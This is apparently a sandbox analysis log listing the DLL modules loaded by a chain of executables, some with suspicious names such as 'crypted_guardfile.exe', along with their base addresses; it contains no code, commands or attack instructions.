7ffb6d460000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb69ac0000 "NewTextDocumentmod.exe" loaded module "VERSION.DLL" at base 7ffb609a0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffb40aa0000 "NewTextDocumentmod.exe" loaded module "USER32.DLL" at base 7ffb6b6e0000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "MSCOREE.DLL" at base 7ffb63650000 "NewTextDocumentmod.exe" loaded module "NTDLL" at base 7ffb6d650000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb6bc10000 "NewTextDocumentmod.exe" loaded module "PSAPI.DLL" at base 1830000 "NewTextDocumentmod.exe" loaded module "RPCRT4.DLL" at base 7ffb6d200000 "NewTextDocumentmod.exe" loaded module "KERNEL32.DLL" at base 7ffb6c870000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffb3b230000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "OLE32.DLL" at base 7ffb6b9b0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffb680a0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb6bc10000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb5ac60000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffb3fe80000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffb3a7a0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\46C2F46666E40896049AED7E4ED25573\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ffb2c3c0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb2c280000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffb2b9d0000 "NewTextDocumentmod.exe" loaded module "NTDLL.DLL" at base 7ffb6d650000 "NewTextDocumentmod.exe" loaded module "SHELL32.DLL" at base 7ffb6c950000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "BCRYPT.DLL" at base 7ffb6a350000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb69a30000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "RASAPI32.DLL" at base 7ffb3d3f0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "WS2_32.DLL" at base 7ffb6c7f0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb69f30000 "NewTextDocumentmod.exe" loaded module "RASMAN.DLL" at base 7ffb3e9f0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "WINHTTP.DLL" at base 7ffb645e0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffb4ca50000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "IPHLPAPI.DLL" at base 7ffb695e0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb61d60000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb631b0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "SECUR32.DLL" at base 7ffb60230000 "NewTextDocumentmod.exe" loaded module "SSPICLI.DLL" at base 7ffb69d10000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffb69930000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffb5a6a0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffb6b240000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "CRYPT32.DLL" at base 7ffb6aa70000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffb68a70000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffb644e0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffb57000000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffb5ae90000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "VIRTDISK.DLL" at base 7ffb5a420000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 7ffb68930000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffb512d0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffb63b00000 "NewTextDocumentmod.exe" loaded module "NTVDM64.DLL" at base 7ffb59da0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ffb6b450000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 7ffb6b620000 "NewTextDocumentmod.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ffb6b6e0000 "NewTextDocumentmod.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ffb6b6e0000 "NewTextDocumentmod.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ffb6d150000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ffb6b9b0000 "NewTextDocumentmod.exe" loaded module "KERNELBASE" at base 7ffb6abe0000 "NewTextDocumentmod.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffb67f00000 "cooking.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "cooking.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "cooking.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "cooking.exe" loaded module "KERNEL32" at base 7ffb6c870000 "cooking.exe" loaded module "KERNEL32.DLL" at base 7ffb6c870000 "cooking.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffb6d150000 "cooking.exe" loaded module "FECLIENT.DLL" at base 7ffb2b980000 "cooking.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 7ffb3dbc0000 "cooking.exe" loaded module "NTDLL.DLL" at base 7ffb6d650000 "cooking.exe" loaded module "KERNELBASE" at base 7ffb6abe0000 "cmd.exe" loaded module "KERNEL32" at base 7ffb6c870000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "TLauncher-Installer-1.9.4.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 751c0000 "TLauncher-Installer-1.9.4.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 751c0000 "TLauncher-Installer-1.9.4.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 751c0000 "TLauncher-Installer-1.9.4.exe" loaded module "KERNEL32" at base 758e0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "TLauncher-Installer-1.9.4.exe" loaded module "UXTHEME.DLL" at base 746a0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 72a00000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\NTMARTA.DLL" at base 745a0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73c50000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\SECUR32.DLL" at base 729f0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 0 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75740000 "TLauncher-Installer-1.9.4.exe" loaded module "RPCRT4.DLL" at base 766e0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72970000 "TLauncher-Installer-1.9.4.exe" loaded module "USER32.DLL" at base 76fe0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 73f80000 "TLauncher-Installer-1.9.4.exe" loaded module "SSPICLI.DLL" at base 73b90000 "TLauncher-Installer-1.9.4.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 751c0000 "TLauncher-Installer-1.9.4.exe" loaded module "VIRTDISK.DLL" at base 742f0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 73490000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 733c0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 733c0000 "TLauncher-Installer-1.9.4.exe" loaded module "SHELL32.DLL" at base 76070000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSWOW64\APPRESOLVER.DLL" at base 728a0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 725d0000 "TLauncher-Installer-1.9.4.exe" loaded module "NTDLL.DLL" at base 771a0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 745d0000 "TLauncher-Installer-1.9.4.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 725a0000 "TLauncher-Installer-1.9.4.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 751c0000 "TLauncher-Installer-1.9.4.exe" loaded module "API-MS-WIN-CORE-REGISTRY-L1-1-0.DLL" at base 751c0000 "lJ5IwxN.exe" loaded module "KERNEL32" at base 7ffb6c870000 "lJ5IwxN.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "lJ5IwxN.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "lJ5IwxN.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "lJ5IwxN.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "lJ5IwxN.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "lJ5IwxN.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "lJ5IwxN.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "lJ5IwxN.exe" loaded module "USER32.DLL" at base 7ffb6b6e0000 "lJ5IwxN.exe" loaded module "ADVAPI32.DLL" at base 7ffb6d150000 "lJ5IwxN.exe" loaded module "NTDLL.DLL" at base 7ffb6d650000 "lJ5IwxN.exe" loaded module "WINMM.DLL" at base 7ffb5ff60000 "lJ5IwxN.exe" loaded module "WININET.DLL" at base 7ffb539c0000 "lJ5IwxN.exe" loaded module "KERNEL32.DLL" at base 7ffb6c870000 "lJ5IwxN.exe" loaded module "SHELL32.DLL" at base 7ffb6c950000 "lJ5IwxN.exe" loaded module "CRYPT32.DLL" at base 7ffb6aa70000 "lJ5IwxN.exe" loaded module "BCRYPT.DLL" at base 7ffb6a350000 "lJ5IwxN.exe" loaded module "GDIPLUS.DLL" at base 7ffb55940000 "lJ5IwxN.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ffb6bc10000 "irsetup.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 751c0000 "irsetup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 751c0000 "irsetup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 751c0000 "irsetup.exe" loaded module "KERNEL32" at base 758e0000 "irsetup.exe" loaded module "KERNEL32.DLL" at base 758e0000 "irsetup.exe" loaded module "ADVAPI32.DLL" at base 75740000 "irsetup.exe" loaded module "COMCTL32.DLL" at base 74c20000 "irsetup.exe" loaded module "COMDLG32.DLL" at base 74eb0000 "irsetup.exe" loaded module "GDI32.DLL" at base 75180000 "irsetup.exe" loaded module "GDIPLUS.DLL" at base 743e0000 "irsetup.exe" loaded module "IMM32.DLL" at base 767a0000 "irsetup.exe" loaded module "LUA5.3.DLL" at base 72460000 "irsetup.exe" loaded module "MSIMG32.DLL" at base 72be0000 "irsetup.exe" loaded module "NETAPI32.DLL" at base 72440000 "irsetup.exe" loaded module "OLE32.DLL" at base 75f20000 "irsetup.exe" loaded module "OLEACC.DLL" at base 72b80000 "irsetup.exe" loaded module "OLEAUT32.DLL" at base 76f40000 "irsetup.exe" loaded module "SHELL32.DLL" at base 76070000 "irsetup.exe" loaded module "SHLWAPI.DLL" at base 75d50000 "irsetup.exe" loaded module "URLMON.DLL" at base 73f80000 "irsetup.exe" loaded module "USER32.DLL" at base 76fe0000 "irsetup.exe" loaded module "VERSION.DLL" at base 74e90000 "irsetup.exe" loaded module "WINMM.DLL" at base 74e50000 "irsetup.exe" loaded module "WINSPOOL.DRV" at base 72b00000 "irsetup.exe" loaded module "UXTHEME.DLL" at base 746a0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 746a0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 72a00000 "irsetup.exe" loaded module "RPCRT4.DLL" at base 766e0000 "irsetup.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75e90000 "irsetup.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 76fe0000 "irsetup.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 76fe0000 "irsetup.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 75740000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75f20000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 750a0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73c50000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 73490000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\OLEDLG.DLL" at base 71ef0000 "irsetup.exe" loaded module "COMCTL32" at base 74c20000 "irsetup.exe" loaded module "%TEMP%\_IR_SF_TEMP_0\WOW64ENU.DLL" at base 0 "irsetup.exe" loaded module "%TEMP%\_IR_SF_TEMP_0\WOW64LOC.DLL" at base 0 "irsetup.exe" loaded module "%TEMP%\_IR_SF_TEMP_0\WOW64.LMD" at base 71ed0000 "irsetup.exe" loaded module "%TEMP%\_IR_SF_TEMP_0\IRZIPENU.DLL" at base 0 "irsetup.exe" loaded module "%TEMP%\_IR_SF_TEMP_0\IRZIPLOC.DLL" at base 0 "irsetup.exe" loaded module "%TEMP%\_IR_SF_TEMP_0\IRZIP.LMD" at base 10000000 "irsetup.exe" loaded module "WININET.DLL" at base 74770000 "irsetup.exe" loaded module "SSPICLI.DLL" at base 73b90000 "irsetup.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 71eb0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 71eb0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72ee0000 "irsetup.exe" loaded module "WINHTTP.DLL" at base 71dd0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 71db0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 71d50000 "irsetup.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 71c90000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 71bf0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 75ce0000 "irsetup.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 71bb0000 "elf.exe" loaded module "KERNEL32" at base 7ffb6c870000 "elf.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "elf.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "elf.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "elf.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "elf.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "elf.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "elf.exe" loaded module "WS2_32.DLL" at base 7ffb6c7f0000 "elf.exe" loaded module "CRYPT32.DLL" at base 7ffb6aa70000 "elf.exe" loaded module "WININET.DLL" at base 7ffb539c0000 "elf.exe" loaded module "WINHTTP.DLL" at base 7ffb645e0000 "elf.exe" loaded module "KERNEL32.DLL" at base 7ffb6c870000 "elf.exe" loaded module "USER32.DLL" at base 7ffb6b6e0000 "elf.exe" loaded module "ADVAPI32.DLL" at base 7ffb6d150000 "elf.exe" loaded module "OLE32.DLL" at base 7ffb6b9b0000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb69f30000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffb62880000 "elf.exe" loaded module "RPCRT4.DLL" at base 7ffb6d200000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffb5d990000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffb5a4c0000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\WSHBTH.DLL" at base 7ffb54af0000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\NLANSP_C.DLL" at base 7ffb44560000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb631b0000 "elf.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb61d60000 "sys.exe" loaded module "KERNEL32" at base 7ffb6c870000 "sys.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "sys.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "sys.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "sys.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "sys.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "sys.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "sys.exe" loaded module "WS2_32.DLL" at base 7ffb6c7f0000 "sys.exe" loaded module "CRYPT32.DLL" at base 7ffb6aa70000 "sys.exe" loaded module "WININET.DLL" at base 7ffb539c0000 "sys.exe" loaded module "WINHTTP.DLL" at base 7ffb645e0000 "sys.exe" loaded module "KERNEL32.DLL" at base 7ffb6c870000 "sys.exe" loaded module "USER32.DLL" at base 7ffb6b6e0000 "sys.exe" loaded module "ADVAPI32.DLL" at base 7ffb6d150000 "sys.exe" loaded module "OLE32.DLL" at base 7ffb6b9b0000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb69f30000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffb62880000 "sys.exe" loaded module "RPCRT4.DLL" at base 7ffb6d200000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffb5d990000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffb5a4c0000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\WSHBTH.DLL" at base 7ffb54af0000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\NLANSP_C.DLL" at base 7ffb44560000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb631b0000 "sys.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb61d60000 "sup.exe" loaded module "KERNEL32" at base 7ffb6c870000 "sup.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "sup.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "sup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "sup.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "sup.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "sup.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "sup.exe" loaded module "WS2_32.DLL" at base 7ffb6c7f0000 "sup.exe" loaded module "CRYPT32.DLL" at base 7ffb6aa70000 "sup.exe" loaded module "WININET.DLL" at base 7ffb539c0000 "sup.exe" loaded module "WINHTTP.DLL" at base 7ffb645e0000 "sup.exe" loaded module "KERNEL32.DLL" at base 7ffb6c870000 "sup.exe" loaded module "USER32.DLL" at base 7ffb6b6e0000 "sup.exe" loaded module "ADVAPI32.DLL" at base 7ffb6d150000 "sup.exe" loaded module "OLE32.DLL" at base 7ffb6b9b0000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb69f30000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffb62880000 "sup.exe" loaded module "RPCRT4.DLL" at base 7ffb6d200000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffb5d990000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffb5a4c0000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\WSHBTH.DLL" at base 7ffb54af0000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\NLANSP_C.DLL" at base 7ffb44560000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb631b0000 "sup.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb61d60000 "tmp.exe" loaded module "KERNEL32" at base 7ffb6c870000 "tmp.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "tmp.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "tmp.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "tmp.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "tmp.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "tmp.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb6abe0000 "tmp.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb6abe0000 "tmp.exe" loaded module "WS2_32" at base 7ffb6c7f0000 "tmp.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb69f30000 "crypted_guardfile.exe" loaded module "KERNEL32" at base 7ffb6c870000 "crypted_guardfile.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffb6abe0000 "crypted_guardfile.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffb6abe0000 "crypted_guardfile.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffb6abe0000 "crypted_guardfile.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffb6c000000 "crypted_guardfile.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb6abe0000 "crypted_guardfile.exe" loaded module 